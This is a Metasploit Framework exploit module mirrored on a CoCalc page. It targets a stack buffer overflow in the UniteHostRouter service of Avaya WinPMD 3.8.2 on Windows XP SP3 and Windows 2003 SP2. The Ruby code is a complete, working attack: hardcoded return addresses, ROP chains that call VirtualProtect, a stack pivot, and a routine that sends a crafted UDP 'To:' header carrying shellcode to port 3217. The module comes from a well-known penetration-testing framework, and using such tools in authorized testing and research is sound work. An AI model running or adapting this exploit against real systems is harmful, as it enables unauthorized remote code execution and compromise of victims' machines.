Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb
19664 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Avaya WinPMD UniteHostRouter Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Avaya WinPMD. The vulnerability
18
exists in the UniteHostRouter service, due to the insecure usage of memcpy when
19
parsing specially crafted "To:" headers. The module has been tested successfully on
20
Avaya WinPMD 3.8.2 over Windows XP SP3 and Windows 2003 SP2.
21
},
22
'Author' => [
23
'AbdulAziz Hariri', # Vulnerability discovery
24
'Unknown', # Abysssec, PoC
25
'juan vazquez' # Metasploit module
26
],
27
'References' => [
28
['OSVDB', '82764'],
29
['OSVDB', '73269'],
30
['BID', '47947'],
31
['EDB', '18397'],
32
['URL', 'https://downloads.avaya.com/css/P8/documents/100140122'],
33
['URL', 'http://web.archive.org/web/20110527165515/http://secunia.com:80/advisories/44062']
34
],
35
'Payload' => {
36
'BadChars' => "\x00\x0d\x0a\x20\x2f\x3a\x3f",
37
'Space' => 1024,
38
'DisableNops' => true
39
},
40
'Platform' => 'win',
41
'Targets' => [
42
[
43
'Avaya WinPMD 3.8.2 / Windows XP SP3',
44
{
45
'Offset' => 260,
46
'Ret' => 0x77c2e93b # MOV EAX,EDI # POP EDI # RETN from msvcrt
47
}
48
],
49
[
50
'Avaya WinPMD 3.8.2 / Windows 2003 SP2',
51
{
52
'Offset' => 260,
53
'Ret' => 0x0040e0f2 # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from UniteHostRouter.EXE
54
}
55
]
56
],
57
'Privileged' => true,
58
'DisclosureDate' => '2011-05-23',
59
'DefaultTarget' => 0,
60
'Notes' => {
61
'Reliability' => UNKNOWN_RELIABILITY,
62
'Stability' => UNKNOWN_STABILITY,
63
'SideEffects' => UNKNOWN_SIDE_EFFECTS
64
}
65
)
66
)
67
68
register_options([ Opt::RPORT(3217) ])
69
end
70
71
def junk(n = 4)
72
return rand_text_alpha(n).unpack("V")[0].to_i
73
end
74
75
def nop
76
return make_nops(4).unpack("V")[0].to_i
77
end
78
79
def exploit
80
connect_udp
81
82
if target.name =~ /Windows XP SP3/
83
buf = "\xeb\x7f" # jmp short $+0x81
84
buf << rand_text(0x81 - 2)
85
buf << "\xeb\x7f" # jmp short $+0x81
86
buf << rand_text(0x81 - 2)
87
buf << "\xeb\x64" # jmp short $+0x66 # jmp to shellcode in the heap
88
buf << [target.ret].pack("V") # MOV EAX,EDI # POP EDI # RETN # from msvcrt # EDI points to data in the heap
89
buf << [0x77c5f9a0].pack("V") # Readable address with string # from msvcrt
90
buf << ([0x77c3c99c].pack("V")) * 21 # (INC EAX # RETN) * 21 # from msvcrt # EAX points to data in th heap, align to shellcode position
91
buf << [0x77c168cd].pack("V") # jmp eax # from msvcrt.dll # JMP to shellcode in the heap
92
elsif target.name =~ /Windows 2003 SP2/
93
rop_gadgets =
94
[
95
0x77bb2563, # POP EAX # RETN
96
0x77ba1114, # <- *&VirtualProtect()
97
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
98
junk,
99
0x77bb0c86, # XCHG EAX,ESI # RETN
100
0x77bc9801, # POP EBP # RETN
101
0x77be2265, # ptr to 'push esp # ret'
102
0x77bb2563, # POP EAX # RETN
103
0x03C0990F,
104
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
105
0x77bb48d3, # POP EBX, RET
106
0x77bf21e0, # .data
107
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
108
0x77bbfc02, # POP ECX # RETN
109
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
110
0x77bd8c04, # POP EDI # RETN
111
0x77bd8c05, # ROP NOP (-> edi)
112
0x77bb2563, # POP EAX # RETN
113
0x03c0984f,
114
0x77bdd441, # SUB EAX, 03c0940f
115
0x77bb8285, # XCHG EAX,EDX # RETN
116
0x77bb2563, # POP EAX # RETN
117
nop,
118
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
119
].pack("V*")
120
buf = rand_text(3) # padding
121
buf << rop_gadgets
122
buf << "\xeb\x7f" # jmp $+0x81
123
buf << rand_text(0x81 - 2)
124
buf << "\xeb\x25" # jmp short $+0x66 => to shellcode
125
buf << rand_text(target['Offset'] - buf.length)
126
buf << "\xf2\xe0\x40" # EIP => # ADD ESP,44 # POP ESI # ADD ESP,0C8 # RETN from [UniteHostRouter.EXE # stackpivot to heap
127
end
128
129
request = "UTP/1 To: 127.0.0.1 /#{buf}\r\n\r\n"
130
131
if target.name =~ /Windows 2003 SP2/
132
request << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
133
end
134
135
request << payload.encoded # The shellcode will be stored in the heap
136
137
print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
138
udp_sock.put(request)
139
disconnect_udp
140
end
141
end
142
143